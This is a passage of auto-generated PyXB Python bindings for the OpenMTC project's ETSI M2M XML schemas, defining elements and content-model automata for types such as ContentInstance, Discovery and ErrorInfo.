transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Containers._Automaton = _BuildAutomaton_34() ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=ContentInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=ContentInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=ContentInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'delayTolerance'), pyxb.binding.datatypes.dateTime, scope=ContentInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 72, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'content'), Content, scope=ContentInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 28, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentSize'), pyxb.binding.datatypes.long, scope=ContentInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 40, 4))) ContentInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentTypes'), ContentTypes, scope=ContentInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 41, 4))) def _BuildAutomaton_35(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_35 del _BuildAutomaton_35 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 16, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 17, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 18, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 19, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 20, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 21, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 22, 12)) counters.add(cc_6) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 16, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 17, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'delayTolerance')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 18, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 19, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentTypes')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 20, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentSize')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 21, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'content')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 22, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ContentInstance._Automaton = _BuildAutomaton_35() ContentTypes._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentType'), pyxb.binding.datatypes.string, scope=ContentTypes, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 106, 4))) def _BuildAutomaton_36(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_36 del _BuildAutomaton_36 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(ContentTypes._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentType')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 45, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ContentTypes._Automaton = _BuildAutomaton_36() ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=ContentInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=ContentInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=ContentInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'currentNrOfInstances'), pyxb.binding.datatypes.long, scope=ContentInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 25, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'currentByteSize'), pyxb.binding.datatypes.long, scope=ContentInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 26, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'latest'), ReferenceToNamedResource, scope=ContentInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 28, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'oldest'), ReferenceToNamedResource, scope=ContentInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 29, 4))) ContentInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentInstanceCollection'), ContentInstanceCollection, scope=ContentInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 31, 4))) def _BuildAutomaton_37(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_37 del _BuildAutomaton_37 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 18, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 19, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 20, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 21, 12)) counters.add(cc_7) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 13, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 14, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'currentNrOfInstances')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'currentByteSize')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentInstanceCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 18, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'latest')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 19, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'oldest')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 20, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 21, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ContentInstances._Automaton = _BuildAutomaton_37() ContentInstanceCollection._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentInstance'), ContentInstance, scope=ContentInstanceCollection, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd', 12, 4))) def _BuildAutomaton_38(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_38 del _BuildAutomaton_38 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 36, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( ContentInstanceCollection._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentInstance')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd', 36, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ContentInstanceCollection._Automaton = _BuildAutomaton_38() Discovery._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'matchSize'), pyxb.binding.datatypes.long, scope=Discovery, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 15, 4))) Discovery._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'truncated'), pyxb.binding.datatypes.boolean, scope=Discovery, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 16, 4))) Discovery._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'discoveryURI'), AnyURIList, scope=Discovery, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 17, 4))) def _BuildAutomaton_39(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_39 del _BuildAutomaton_39 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 10, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 11, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 12, 12)) counters.add(cc_2) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'matchSize')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 10, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'truncated')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 11, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'discoveryURI')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 12, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Discovery._Automaton = _BuildAutomaton_39() ErrorInfo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode, scope=ErrorInfo, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186, 4))) ErrorInfo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'additionalInfo'), pyxb.binding.datatypes.string, scope=ErrorInfo, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 17, 4))) def _BuildAutomaton_40(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_40 del _BuildAutomaton_40 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 13, 12)) counters.add(cc_1) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ErrorInfo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'statusCode')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ErrorInfo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'additionalInfo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ErrorInfo._Automaton = _BuildAutomaton_40() def _BuildAutomaton_41(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_41 del _BuildAutomaton_41 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard( process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=pyxb.binding.content.Wildcard.NC_any), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiPerformanceLog.xsd', 35, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) LogDataFile._Automaton = _BuildAutomaton_41() RankedAnList._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessNetwork'), pyxb.binding.datatypes.token, scope=RankedAnList, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiRcatParamList.xsd', 37, 4))) def _BuildAutomaton_42(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_42 del _BuildAutomaton_42 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(RankedAnList._UseForTag( 